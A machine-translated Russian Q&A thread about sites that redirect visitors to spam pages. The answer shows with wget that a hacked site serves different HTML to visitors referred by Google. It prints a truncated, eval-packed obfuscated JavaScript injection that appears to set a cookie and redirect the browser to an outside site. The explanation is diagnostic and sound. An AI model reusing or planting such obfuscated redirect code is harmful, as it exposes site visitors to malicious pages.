1

Я предполагаю, что почти все вы знаете / используете adblock, и некоторые из вас, вероятно, также знают те страницы, которые говорят вам отключить adblock, прежде чем вы сможете перейти на их страницу.

Однако там также, кажется, сайты, которые не показывают эту страницу, но перенаправляют вас в какой-то нездоровой-сайт (порно-сайты, MFA-сайтов, Bing-SERPs и т.д.). Когда я впервые столкнулся с этим, я был немного озадачен и подумал, что заразился вирусом или чем-то еще.

Могу ли я что-нибудь сделать с таким поведением? Есть ли "Детектор AdBlock" -Блокер?

Пример страницы, чтобы проверить это поведение. Я не уверен, будет ли это работать для вас, поскольку прямой доступ к их главной странице не дает мне сообщения о рекламе. Если это не так, возможно, вы можете попробовать получить к нему доступ через эту страницу Google Serp (должен быть результат № 2).

(Я не уверен, где это правильное место, чтобы задать вопрос, или, если переполнение стека могло бы быть более подходящим, перенесите его, если необходимо)

1 ответ1

3

То, что вы видите, это не детектор AdBlock, а веб-сайт, взломанный для отображения спама людям, пришедшим из Google. HTML, который вы получаете, - это нечто совершенно другое.

Нормальный:

$ wget -qO- http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" dir="ltr" lang="de" id="vbulletin_html">
<head>

С Google реферером:

che@nok ~ $ wget -qO- --referer=http://www.google.at/ http://www.tutorials.de/swing-java2d-3d-swt-jface/267480-swt-tableviewer-labelprovider-problem.html | head -n3
<html><head></head><body><script type="text/javascript">var vbsp='5DFCF739';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('t a=["\\z\\b\\c\\n\\e\\j\\b","\\k\\b\\c\\n\\e\\j\\b","\\A\\x\\b\\L\\f\\e\\p\\b\\k\\i","\\c\\d\\K\\M\\n\\N\\c\\p\\e\\o\\z","\\q\\d\\d\\J\\e\\b","\\i","\\A\\x\\f\\s\\c\\l\\i\\g","\\D\\F\\k\\f","\\G","\\r\\d\\q\\s\\c\\e\\d\\o","\\l\\c\\c\\f\\H\\g\\g\\j\\P\\Q\\e\\r\\b\\k\\c\\d\\p\\b\\B\\q\\d\\j\\g\\m\\d\\R\\o\\r\\d\\s\\m\\B\\f\\l\\f\\S\\e\\m\\i"];E y(u,C){t h=I O();h[a[1]](h[a[0]]()+T);t w=a[2]+h[a[3]]();v[a[4]]=u+a[5]+C+w+a[6]};y(a[7],a[8]);v[a[9]]=a[U]+V;',58,58,'||||||||||_0x987b|x65|x74|x6F|x69|x70|x2F|_0x414cx4|x3D|x6D|x73|x68|x64|x54|x6E|x72|x63|x6C|x61|var|_0x414cx2|document|_0x414cx5|x20|ipbcc|x67|x3B|x2E|_0x414cx3|x

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .